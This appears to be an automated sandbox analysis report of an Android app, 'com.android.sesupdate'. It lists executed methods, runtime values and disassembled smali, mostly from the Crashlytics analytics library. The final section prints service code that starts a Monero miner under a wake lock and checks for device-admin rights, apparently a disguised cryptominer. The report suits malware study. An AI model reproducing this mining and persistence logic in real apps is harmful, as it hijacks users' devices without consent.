                          Method: ..:55 Show source
                          Method: ..:60 Show source
                          Method: ..:63 Show source
                          Method: ..:68 Show source
                          Method: ..:71 Show source
                          Method: ..:76 Show source
                          Method: ..:79 Show source
                          Method: ..:84 Show source
                          Method: ..:87 Show source
                          Method: com.crashlytics.android.answers.PredefinedEvent.toString:7 Show source
                          Method: com.crashlytics.android.answers.PredefinedEvent.toString:13 Show source
                          Method: com.crashlytics.android.answers.PredefinedEvent.toString:17 Show source
                          Method: com.crashlytics.android.answers.PredefinedEvent.toString:22 Show source
                          Method: com.crashlytics.android.answers.PredefinedEvent.toString:27 Show source
                          Method: com.crashlytics.android.answers.PredefinedEvent.toString:32 Show source
                          Method: com.crashlytics.android.answers.PredefinedEvent.toString:37 Show source
                          Method: com.crashlytics.android.answers.PredefinedEvent.toString:42 Show source
                          Method: ..:20 Show source
                          Method: ..:23 Show source
                          Method: com.crashlytics.android.answers.EnabledSessionAnalyticsManagerStrategy.scheduleTimeBasedFileRollOver:24 Show source
                          Method: com.crashlytics.android.answers.EnabledSessionAnalyticsManagerStrategy.scheduleTimeBasedFileRollOver:27 Show source
                          Method: com.crashlytics.android.answers.EnabledSessionAnalyticsManagerStrategy.scheduleTimeBasedFileRollOver:32 Show source
                          Method: ..:29 Show source
                          Method: ..:34 Show source
                          Method: ..:40 Show source
                          Method: ..:12 Show source
                          Method: ..:16 Show source
                          Method: ..:21 Show source
                          Method: ..:81 Show source
                          Method: ..:87 Show source
                          Method: ..:92 Show source
                          Method: ..:138 Show source
                          Method: ..:144 Show source
                          Method: ..:149 Show source
                          Method: ..:206 Show source
                          Method: ..:209 Show source
                          Method: ..:214 Show source
                          Method: ..:19 Show source
                          Method: ..:22 Show source
                          Method: ..:39 Show source
                          Method: ..:42 Show source
                          Method: ..:47 Show source
                          Method: ..:62 Show source
                          Method: ..:65 Show source
                          Method: ..:70 Show source
                          Method: ..:25 Show source
                          Method: ..:29 Show source
                          Method: ..:35 Show source
                          Method: ..:75 Show source
                          Method: ..:89 Show source
                          Method: com.crashlytics.android.answers.Answers.logFirebaseModeEnabledWarning:13 Show source
                          Method: com.crashlytics.android.answers.Answers.logFirebaseModeEnabledWarning:16 Show source
                          Method: com.crashlytics.android.answers.Answers.logFirebaseModeEnabledWarning:21 Show source
                          Method: ..:32 Show source
                          Method: ..:37 Show source
                          Method: ..:42 Show source
                          Method: ..:27 Show source
                          Method: ..:33 Show source
                          Method: ..:39 Show source
                          Method: ..:67 Show source
                          Method: ..:70 Show source
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:55 Show source
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:58 Show source
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:83 Show source
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:89 Show source
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:94 Show source
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:100 Show source
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:121 Show source
                          Method: com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:124 Show source
                          Method: io.fabric.sdk.android.services.common.QueueFile.initialize:15 Show source
                          Method: io.fabric.sdk.android.services.common.QueueFile.initialize:20 Show source
                          Method: ..:16 Show source
                          Method: ..:19 Show source
                          Method: ..:30 Show source
                          Method: ..:38 Show source
                          Method: com.crashlytics.android.answers.AnswersEventValidator.isNull:9 Show source
                          Method: com.crashlytics.android.answers.AnswersEventValidator.isNull:14 Show source
                          Method: ..:49 Show source
                          Method: ..:55 Show source
                          Method: ..:141 Show source
                          Method: ..:146 Show source
                          Method: ..:15 Show source
                          Method: ..:22 Show source
                          Method: ..:52 Show source
                          Method: ..:58 Show source
                          Method: ..:130 Show source
                          Method: ..:133 Show source
                          Method: io.fabric.sdk.android.FabricKitsFinder.loadKitInfo:42 Show source
                          Method: io.fabric.sdk.android.FabricKitsFinder.loadKitInfo:48 Show source
                          Method: io.fabric.sdk.android.FabricKitsFinder.loadKitInfo:68 Show source
                          Method: io.fabric.sdk.android.FabricKitsFinder.loadKitInfo:74 Show source
                          Method: ..:23 Show source
                          Method: ..:28 Show source
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:32 Show source
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:10 Show source
                          Method: ..:19 Show source
                          Method: io.fabric.sdk.android.services.common.CommonUtils.sha1:5 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@35367042
                          • $1: ./l&O)YG*w
                          • $2: 2E2F12C9CAF18E6C264F29A759E5477FA62A7720
                          Method: io.fabric.sdk.android.services.common.CommonUtils.sha1:5 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@32f84f6d
                          • $1: ./l&O)YG*w
                          • $2: 2E2F12C9CAF18E6C264F29A759E5477FA62A7720
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@15ef1e61
                          • $1: !9kFjGc
                          • $2: 2139026BA246EEEC6ABBB147DBF0C48102E7639A
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@35f65517
                          • $1: [$1%V
                          • $2: A70C5B872411D0A0D40DA8F7F831148FE10D2556
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@1ba989da
                          • $1: [$1%V
                          • $2: A70C5B872411D0A0D40DA8F7F831148FE10D2556
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@1c67c00
                          • $1: [$1%V
                          • $2: A70C5B872411D0A0D40DA8F7F831148FE10D2556
                          Method: ..:10 Show source
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:4 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:4 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          Method: io.fabric.sdk.android.services.common.CommonUtils.hash:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          Method: io.fabric.sdk.android.Fabric.getKit:16 Show source
                          Method: com.crashlytics.android.answers.SessionMetadataCollector.getMetadata:19 Show source
                          Method: com.crashlytics.android.answers.SessionMetadataCollector.getMetadata:25 Show source
                          Method: com.crashlytics.android.answers.SessionMetadataCollector.getMetadata:36 Show source
                          Method: ..:27 Show source
                          Method: io.fabric.sdk.android.Fabric.addAnnotatedDependencies:61 Show source
                          Method: io.fabric.sdk.android.Fabric.addAnnotatedDependencies:74 Show source
                          Method: ..:26 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapEvent:46 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:20 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:32 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:44 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:56 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:70 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:95 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:107 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:119 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:131 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:145 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:159 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:185 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:204 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:218 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:239 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:251 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:263 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:284 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:305 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:317 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:329 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:341 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:362 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:376 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:388 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:400 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:421 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:442 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:463 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:484 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:505 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:519 Show source
                          Method: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEvent:531 Show source
                          Method: ..:17 Show source
                          Method: ..:97 Show source
                          Method: ..:141 Show source
                          Method: ..:14 Show source
                          Method: ..:53 Show source
                          Method: ..:42 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: icon
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          Method: ..:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: expires_at
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false

                          101 Executed Methods

                          Cross References
                          APIs
                          • org.json.JSONObject.put
                          • android.text.TextUtils.isEmpty
                          • org.json.JSONObject.put
                          • com.crashlytics.android.answers.SessionEvent.Type.toString
                          • org.json.JSONObject.put
                          • org.json.JSONObject.org.json.JSONObject
                          • org.json.JSONObject.put
                          • org.json.JSONObject.<init>
                          • org.json.JSONObject.put
                          • org.json.JSONObject.<init>
                          • org.json.JSONObject.put
                          • org.json.JSONException.getMessage
                          • java.io.IOException.<init>
                          • org.json.JSONException.getMessage
                          • java.io.IOException.<init>
                          Strings
                          • appBundleId
                          • executionId
                          • installationId
                          • androidId
                          • limitAdTrackingEnabled
                          • betaDeviceToken
                          • buildId
                          • osVersion
                          • deviceModel
                          • appVersionCode
                          • appVersionName
                          • timestamp
                          • type
                          • INSTALL
                          • PAUSE
                          • RESUME
                          • START
                          • STOP
                          • details
                          • customType
                          • customAttributes
                          • predefinedType
                          • predefinedAttributes
                          • advertisingId
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/SessionEvent;
                          1.annotation build Landroid/annotation/TargetApi;
                          2value = 0x9
                          3.end annotation
                          4.annotation system Ldalvik/annotation/Throws;
                          5value = {
                          6Ljava/io/IOException;
                          7}
                          8.end annotation
                          9.prologue
                          10try_start_0: new-instance v2, Lorg/json/JSONObject;
                          12invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                          • Time: 994608782
                            • Return:
                              • {}
                          14iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->sessionEventMetadata:Lcom/crashlytics/android/answers/SessionEventMetadata;
                          16const-string v3, "appBundleId"
                          18iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->appBundleId:Ljava/lang/String;
                          20invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          22const-string v3, "executionId"
                          24iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->executionId:Ljava/lang/String;
                          26invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          28const-string v3, "installationId"
                          30iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->installationId:Ljava/lang/String;
                          32invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          34iget-object v3, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->advertisingId:Ljava/lang/String;
                          36invoke-static {v3}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          37move-result v3
                          38if-eqz v3, :cond_ad
                          40const-string v3, "androidId"
                          42iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->androidId:Ljava/lang/String;
                          44invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          45goto_2b:
                          46const-string v3, "limitAdTrackingEnabled"
                          48iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->limitAdTrackingEnabled:Ljava/lang/Boolean;
                          50invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          52const-string v3, "betaDeviceToken"
                          54iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->betaDeviceToken:Ljava/lang/String;
                          56invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          58const-string v3, "buildId"
                          60iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->buildId:Ljava/lang/String;
                          62invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          64const-string v3, "osVersion"
                          66iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->osVersion:Ljava/lang/String;
                          68invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          70const-string v3, "deviceModel"
                          72iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->deviceModel:Ljava/lang/String;
                          74invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          76const-string v3, "appVersionCode"
                          78iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->appVersionCode:Ljava/lang/String;
                          80invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          82const-string v3, "appVersionName"
                          84iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->appVersionName:Ljava/lang/String;
                          86invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          88const-string v3, "timestamp"
                          89iget-wide v4, p1, Lcom/crashlytics/android/answers/SessionEvent;->timestamp:J
                          91invoke-virtual {v2, v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                          93const-string v3, "type"
                          95iget-object v4, p1, Lcom/crashlytics/android/answers/SessionEvent;->type:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          97invoke-virtual {v4}, Lcom/crashlytics/android/answers/SessionEvent$Type;->toString()Ljava/lang/String;
                          • Time: 994608790
                            • This:
                              • INSTALL
                            • Return:
                              • INSTALL
                          • Time: 994609019
                            • This:
                              • START
                            • Return:
                              • START
                          • Time: 994609404
                            • This:
                              • RESUME
                            • Return:
                              • RESUME
                          • Time: 994609497
                            • This:
                              • PAUSE
                            • Return:
                              • PAUSE
                          • Time: 994609622
                            • This:
                              • STOP
                            • Return:
                              • STOP
                          98move-result-object v4
                          100invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          102iget-object v3, p1, Lcom/crashlytics/android/answers/SessionEvent;->details:Ljava/util/Map;
                          103if-eqz v3, :cond_7e
                          105const-string v3, "details"
                          106new-instance v4, Lorg/json/JSONObject;
                          108iget-object v5, p1, Lcom/crashlytics/android/answers/SessionEvent;->details:Ljava/util/Map;
                          110invoke-direct {v4, v5}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                          • Time: 994608795
                            • p0: {installedAt=1537579411496}
                            • Return:
                              • {"installedAt":"1537579411496"}
                          • Time: 994609026
                            • p0: {activity=com.android.sesupdate.MainActivity}
                            • Return:
                              • {"activity":"com.android.sesupdate.MainActivity"}
                          112invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          113cond_7e:
                          114const-string v3, "customType"
                          116iget-object v4, p1, Lcom/crashlytics/android/answers/SessionEvent;->customType:Ljava/lang/String;
                          118invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          120iget-object v3, p1, Lcom/crashlytics/android/answers/SessionEvent;->customAttributes:Ljava/util/Map;
                          121if-eqz v3, :cond_95
                          123const-string v3, "customAttributes"
                          124new-instance v4, Lorg/json/JSONObject;
                          126iget-object v5, p1, Lcom/crashlytics/android/answers/SessionEvent;->customAttributes:Ljava/util/Map;
                          128invoke-direct {v4, v5}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                          130invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          131cond_95:
                          132const-string v3, "predefinedType"
                          134iget-object v4, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          136invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          138iget-object v3, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          139if-eqz v3, :cond_ac
                          141const-string v3, "predefinedAttributes"
                          142new-instance v4, Lorg/json/JSONObject;
                          144iget-object v5, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          146invoke-direct {v4, v5}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                          148invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          149cond_ac: return-object v2
                          150cond_ad:
                          151const-string v3, "advertisingId"
                          153iget-object v4, v1, Lcom/crashlytics/android/answers/SessionEventMetadata;->advertisingId:Ljava/lang/String;
                          155invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                          156try_end_b4: goto/16 :goto_2b
                          157catch_b6: move-exception v0
                          158sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                          159const/16 v4, 0x9
                          160if-lt v3, v4, :cond_c7
                          161new-instance v3, Ljava/io/IOException;
                          163invoke-virtual {v0}, Lorg/json/JSONException;->getMessage()Ljava/lang/String;
                          164move-result-object v4
                          166invoke-direct {v3, v4, v0}, Ljava/io/IOException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                          167throw v3
                          168cond_c7: new-instance v3, Ljava/io/IOException;
                          170invoke-virtual {v0}, Lorg/json/JSONException;->getMessage()Ljava/lang/String;
                          171move-result-object v4
                          173invoke-direct {v3, v4}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
                          174throw v3
                          Cross References
                          APIs
                          • java.io.File.<init>
                          • java.io.FileReader.<init>
                          • android.text.TextUtils.isEmpty
                          • java.lang.String.toUpperCase
                          • java.lang.String.endsWith
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • /proc/meminfo
                          • MemTotal
                          • KB
                          • MB
                          • GB
                          • Fabric
                          • Unexpected meminfo format while computing RAM:
                          Position Instruction Meta Information
                          0.prologue
                          1const-class v5, Lio/fabric/sdk/android/services/common/CommonUtils;
                          2monitor-enter v5
                          3try_start_3: sget-wide v6, Lio/fabric/sdk/android/services/common/CommonUtils;->totalRamInBytes:J
                          4const-wide/16 v8, -0x1
                          5cmp-long v4, v6, v8
                          6if-nez v4, :cond_38
                          7const-wide/16 v0, 0x0
                          8new-instance v4, Ljava/io/File;
                          10const-string v6, "/proc/meminfo"
                          12invoke-direct {v4, v6}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                          14const-string v6, "MemTotal"
                          16invoke-static {v4, v6}, Lio/fabric/sdk/android/services/common/CommonUtils;->extractFieldFromSystemFile(Ljava/io/File;Ljava/lang/String;)Ljava/lang/String;
                          • Time: 994609056
                            • This:
                              • java.io.FileReader@227e775a
                            • p0: /proc/meminfo
                            • Return:
                              • java.io.FileReader@227e775a
                          17move-result-object v3
                          19invoke-static {v3}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          20move-result v4
                          21if-nez v4, :cond_36
                          23sget-object v4, Ljava/util/Locale;->US:Ljava/util/Locale;
                          25invoke-virtual {v3, v4}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
                          26try_end_25: move-result-object v3
                          27try_start_26:
                          28const-string v4, "KB"
                          30invoke-virtual {v3, v4}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                          31move-result v4
                          32if-eqz v4, :cond_3c
                          34const-string v4, "KB"
                          35const/16 v6, 0x400
                          37invoke-static {v3, v4, v6}, Lio/fabric/sdk/android/services/common/CommonUtils;->convertMemInfoToBytes(Ljava/lang/String;Ljava/lang/String;I)J
                          38try_end_35: move-result-wide v0
                          39goto_36: sput-wide v0, Lio/fabric/sdk/android/services/common/CommonUtils;->totalRamInBytes:J
                          40cond_38: sget-wide v6, Lio/fabric/sdk/android/services/common/CommonUtils;->totalRamInBytes:J
                          41try_end_3a: monitor-exit v5
                          42return-wide v6
                          43try_start_3c:
                          44const-string v4, "MB"
                          46invoke-virtual {v3, v4}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                          47move-result v4
                          48if-eqz v4, :cond_4d
                          50const-string v4, "MB"
                          51const/high16 v6, 0x100000
                          53invoke-static {v3, v4, v6}, Lio/fabric/sdk/android/services/common/CommonUtils;->convertMemInfoToBytes(Ljava/lang/String;Ljava/lang/String;I)J
                          54move-result-wide v0
                          55goto/16 :goto_36
                          56cond_4d:
                          57const-string v4, "GB"
                          59invoke-virtual {v3, v4}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                          60move-result v4
                          61if-eqz v4, :cond_5e
                          63const-string v4, "GB"
                          64const/high16 v6, 0x40000000 # 2.0f
                          66invoke-static {v3, v4, v6}, Lio/fabric/sdk/android/services/common/CommonUtils;->convertMemInfoToBytes(Ljava/lang/String;Ljava/lang/String;I)J
                          67move-result-wide v0
                          68goto/16 :goto_36
                          69cond_5e:
                          70invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          71move-result-object v4
                          73const-string v6, "Fabric"
                          74new-instance v7, Ljava/lang/StringBuilder;
                          76invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                          78const-string v8, "Unexpected meminfo format while computing RAM: "
                          80invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          81move-result-object v7
                          83invoke-virtual {v7, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          84move-result-object v7
                          86invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          87move-result-object v7
                          89invoke-interface {v4, v6, v7}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          90try_end_7a: goto/16 :goto_36
                          91catch_7b: move-exception v2
                          92try_start_7c:
                          93invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          94move-result-object v4
                          96const-string v6, "Fabric"
                          97new-instance v7, Ljava/lang/StringBuilder;
                          99invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                          101const-string v8, "Unexpected meminfo format while computing RAM: "
                          103invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          104move-result-object v7
                          106invoke-virtual {v7, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          107move-result-object v7
                          109invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          110move-result-object v7
                          112invoke-interface {v4, v6, v7, v2}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          113try_end_98: goto/16 :goto_36
                          114catchall_99: move-exception v4
                          115monitor-exit v5
                          116throw v4
                          Cross References
                          APIs
                          • com.android.sesupdate.services.FirstService.startWakeLock
                          • android.util.Log.d
                          • com.android.sesupdate.services.FirstService.startMining
                          • com.android.sesupdate.services.FirstService.getSystemService
                          • android.content.ComponentName.<init>
                          • android.app.admin.DevicePolicyManager.isAdminActive
                          • com.android.sesupdate.services.FirstService.getApplicationContext
                          • android.content.Intent.<init>
                          • android.content.Intent.setFlags
                          • android.content.Intent.addFlags
                          • com.android.sesupdate.services.FirstService.startActivity
                          • android.os.Handler.<init>
                          • android.os.Handler.postDelayed
                          Strings
                          • Test
                          • MINER
                          • device_policy
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lcom/android/sesupdate/services/FirstService;->startWakeLock()V
                          4iget-object v1, p0, Lcom/android/sesupdate/services/FirstService;->moneroMiner:Lcom/kangaderoo/neoneonminer/MyNeoNeonMinerGlobals;
                          5if-nez v1, :cond_11
                          7const-string v1, "Test"
                          9const-string v2, "MINER"
                          11invoke-static {v1, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                          13invoke-virtual {p0}, Lcom/android/sesupdate/services/FirstService;->startMining()V
                          14cond_11:
                          15const-string v1, "device_policy"
                          17invoke-virtual {p0, v1}, Lcom/android/sesupdate/services/FirstService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                          • Time: 994608509
                            • This:
                              • com.android.sesupdate.services.FirstService@1d5c56f6
                            • p0: device_policy
                            • Return:
                              • android.app.admin.DevicePolicyManager@3a9ac4df
                          18move-result-object v1
                          19check-cast v1, Landroid/app/admin/DevicePolicyManager;
                          20new-instance v2, Landroid/content/ComponentName;
                          22invoke-virtual {p0}, Lcom/android/sesupdate/services/FirstService;->getApplicationContext()Landroid/content/Context;
                          • Time: 994608523
                            • This:
                              • com.android.sesupdate.services.FirstService@1d5c56f6
                            • Return:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                          23move-result-object v3
                          24const-class v4, Lcom/android/sesupdate/receivers/DeviceAdmin;
                          26invoke-direct {v2, v3, v4}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          28invoke-virtual {v1, v2}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                          • Time: 994608532
                            • This:
                              • android.app.admin.DevicePolicyManager@3a9ac4df
